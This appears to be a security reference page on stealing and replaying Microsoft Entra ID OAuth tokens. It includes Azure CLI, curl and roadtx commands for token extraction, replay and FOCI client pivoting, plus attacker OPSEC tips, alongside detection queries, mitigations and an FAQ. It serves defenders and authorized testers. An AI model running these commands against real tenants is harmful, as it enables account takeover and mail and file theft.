How it works
After a user signs in, Microsoft Entra ID issues OAuth tokens to the client application. They are bearer tokens: whoever presents one is accepted, for as long as it is valid. Stealing a token is a form of credential theft that leaves the password and MFA methods untouched.
- An access token is issued for one resource, named in its
audclaim, and is valid for roughly an hour. The resource checks issuer, signature, audience and time, then decides whether the requested operation is allowed. A token for Microsoft Graph says nothing about Azure Resource Manager. - A refresh token is an input to Entra, not to an API. It is tied to the user and the client, is valid for 90 days by default (24 hours for single-page apps) and is replaced on each use. It can be redeemed for access tokens to other resources the client and user may reach.
- An ID token only tells the client who signed in. It grants no API access.
Tokens end up in many places: the client's token cache on disk, browser storage, process memory, environment variables in automation, and logs. They are also handed straight to an attacker in phishing flows such as device code phishing. The operating system's own single sign-on token is a separate case, covered in Primary Refresh Token theft, and browser sessions in pass-the-cookie.
Family of Client IDs (FOCI)
Normally a refresh token only works for the client it was issued to. Microsoft made an exception for a set of its own public clients, the Family of Client IDs. When a token response carries the foci field, the refresh token is a family refresh token: it can be redeemed with the client ID of any other family member, and the resulting token gets the scopes of that client, not of the original one. Family members include Microsoft Office (d3590ed6-52b3-4102-aeff-aad2292ab01c), Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264), Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46) and Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2). Access is still limited to what the user may do, but a refresh token taken from one application effectively carries the union of the family's scopes. Microsoft has stated that the behavior is intended and that the list of family clients changes over time.
Prerequisites
- A token of the victim. Typical sources: code execution in the user's session on a workstation or jump host, read access to a token cache file or a home directory backup, secrets printed in pipeline logs, or a phishing flow.
- For replay: the resource must accept the token from the attacker's location and device. Token protection, continuous access evaluation with location enforcement and compliant-device policies can each break that.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Take a token from a signed-in tool
On a machine where the victim is signed in to the Azure CLI, the CLI hands out access tokens for any resource on request:
az account get-access-token --resource https://graph.microsoft.com --query accessToken --output tsv
The CLI also keeps its refresh tokens in an MSAL token cache in the user's .azure directory (msal_token_cache.json on Linux and macOS, an encrypted msal_token_cache.bin on Windows). A copy of that file from a Linux build agent or a home directory is a set of refresh tokens.
2. Replay an access token
The token goes in the Authorization header. No sign-in happens:
curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/me
roadtx describe decodes a token so the attacker can read its audience, scopes, expiry and whether it carries an MFA claim:
roadtx describe -t "$TOKEN"
3. Redeem a refresh token
roadtx exchanges a refresh token for new tokens and stores them in .roadtools_auth. The client ID must be the one the token was issued to, unless the token is a family refresh token:
# Same client, new resource
roadtx gettokens --refresh-token "$REFRESH_TOKEN" -c azcli -r msgraph
# Later: use the cached refresh token again for another resource
roadtx refreshtokento -r https://management.azure.com/
4. Pivot between clients with FOCI
With a family refresh token, the attacker switches to the family client whose scopes they want:
# Which family clients can get a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
# Redeem the cached refresh token as Microsoft Teams, for Microsoft Graph
roadtx refreshtokento -c msteams -r msgraph
# Or supply the stolen token directly
roadtx gettokens --refresh-token "$REFRESH_TOKEN" -c msteams -r msgraph
roadtx listaliases prints the client and resource aliases. Adding --cae requests tokens for a client that declares continuous access evaluation support.
5. Keep the access alive
Each redemption returns a new refresh token, so periodic use keeps the chain valid. Attackers usually add something more durable while the token works: a rogue authentication method or device, or an OAuth consent grant.
Impact
With an access token, the attacker can call the token's resource as the user until it expires: read mail and files through Microsoft Graph, or manage Azure resources with a management token. With a refresh token, the access lasts weeks and extends to other resources. With a family refresh token it also extends to the scopes of other Microsoft clients.
The tokens carry the authentication result of the original sign-in, including MFA. The attacker's requests are logged as non-interactive sign-ins and API calls by the user's own account and by a well-known Microsoft client.
OPSEC and artifacts
- Replay without redeeming. Using only a stolen access token creates no sign-in event at all, because Entra is not contacted. The resource still logs each request: Microsoft Graph activity logs record the caller's IP address, the application ID, the request and the time the token was issued.
- Redeem quietly. Refresh token redemptions are non-interactive sign-ins, a log that is large and rarely reviewed. Each row still has the IP address, client application, resource and session ID.
- Use a plausible client. Requesting tokens as Office or Teams looks like the user's daily traffic. A change of client inside one session, or a burst of sign-ins across several family client IDs, is the FOCI signature.
- Stay near the victim's network. A token used from a new country or hosting provider raises ID Protection's anomalous token detection and breaks location-based policies.
- Mind the device claims. Tokens stolen from a compliant device carry its device ID. Replayed elsewhere, the device ID stays the same while the IP address and user agent change.
- One token, two places. While the victim keeps working, the same session shows activity from two addresses at once. The token's unique identifier and the session ID tie the rows together.
- On the endpoint. Reading a token cache file or dumping process memory is file and process activity on the victim's machine that endpoint telemetry can see, even though the identity logs show nothing at that moment.
Detection
- Risk detections. ID Protection raises anomalous token and attacker in the middle detections; the token theft rules cover them and add a rule for one user token used against Microsoft Graph from several IP addresses.
- Session continuity. Compare interactive and non-interactive sign-ins of one session: same
SessionId, different address, device details or client. - FOCI pivots. One user redeeming tokens for several family client IDs in a short window, especially clients the user never used before.
- Resource side. Graph requests whose
TokenIssuedAtis long before the first sign-in you can see from that address. - The way in. Device code phishing and risky sign-ins that succeeded.
// One session seen from more than one address or device
union
(SigninLogs
| extend Source = "interactive", Device = DeviceDetail),
(AADNonInteractiveUserSignInLogs
| extend Source = "non-interactive", Device = parse_json(DeviceDetail))
| where TimeGenerated >= ago(1d) and ResultType == "0" and isnotempty(SessionId)
| summarize Addresses = dcount(IPAddress), AddressList = make_set(IPAddress, 10),
Devices = dcount(tostring(Device.deviceId)), Clients = make_set(AppId, 20),
TokenTypes = make_set(IncomingTokenType)
by UserPrincipalName, SessionId
| where Addresses > 1
// Graph requests linked to a sign-in, with the token's issue time
MicrosoftGraphActivityLogs
| where TimeGenerated >= ago(1d)
| where isnotempty(SignInActivityId)
| project TimeGenerated, UserId, AppId, IPAddress, RequestMethod, ResponseStatusCode,
SignInActivityId, TokenIssuedAt
| order by TimeGenerated asc
Mobile networks, VPNs and proxies explain many address changes, so baseline before alerting. A successful sign-in shows that Entra issued a token; it does not show that a resource accepted it or what was done. Use the resource's own log for that. Graph activity logs must be enabled through diagnostic settings and are empty for the time before collection started.
Mitigation
- Bind tokens to the device. A Conditional Access token protection policy makes supported clients present a sign-in session token that is bound to the device for supported resources, Exchange Online and SharePoint Online among them. Roll it out in report-only first.
- Use continuous access evaluation. Participating resources reject an unexpired token after critical events such as a password change, account disablement or session revocation, and can enforce location changes. Watch for changes to the tenant's setting through Update continuous access evaluation.
- Require compliant devices for sensitive applications, so a refresh token cannot be redeemed from an unmanaged machine where policy is evaluated.
- Write Conditional Access for resources, not client IDs. Because family clients can stand in for each other, a rule that only targets one client application is easy to step around.
- Cut off the phishing flows. Block device code flow where it is not needed, using the device code flow guide.
- Reduce tokens at rest. Avoid interactive user sign-ins on shared build agents and servers, use workload identities for automation, and keep tokens out of logs.
- Act on risk. Configure sign-in risk and user risk policies; the risky users guide covers the setup.
- When responding, revoke the user's sessions, reset the password, and remove anything added during the window: authentication methods, devices, inbox rules and application consents. Tell application owners too, because an application's own session can outlive the Entra revocation.
Detection rules for this attack
Log events to collect
FAQ
Does token theft bypass MFA?
The token is issued after the user passed MFA, and it carries that result. Whoever presents the token is treated as the user who already authenticated, so no new prompt appears. MFA protects the sign-in; it does not protect a token that has already been issued unless the token is bound to the device.
What is the difference between stealing an access token and a refresh token?
An access token works for one resource and for about an hour. A refresh token is presented to Microsoft Entra ID to get new access tokens, lasts 90 days by default and is renewed on use, and can be redeemed for other resources the user may reach. A stolen refresh token is therefore long-lived access, while a stolen access token is a short window.
What is FOCI?
Family of Client IDs. A group of Microsoft first-party public clients, such as Microsoft Office, Teams, Azure CLI and Azure PowerShell, share family refresh tokens. A refresh token issued to one family client can be redeemed as another family client, and the new token gets that client's scopes. A token stolen from a low-value app can so be turned into access to mail, files or Azure management.
Does revoking sessions stop a stolen token?
It invalidates refresh tokens, so the attacker cannot get new access tokens. Access tokens that were already issued stay usable until they expire, about an hour, unless the resource supports continuous access evaluation, in which case it can reject the token shortly after the revocation.
References
- Steal Application Access Token, T1528 (MITRE ATT&CK)
- Use Alternate Authentication Material: Application Access Token, T1550.001 (MITRE ATT&CK)
- Refresh tokens in the Microsoft identity platform (Microsoft Learn)
- Token Protection in Microsoft Entra Conditional Access (Microsoft Learn)
- Continuous access evaluation (Microsoft Learn)
- Family of Client IDs research (Secureworks)
- ROADtools Token eXchange (roadtx) wiki
- Revoke user access in Microsoft Entra ID (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.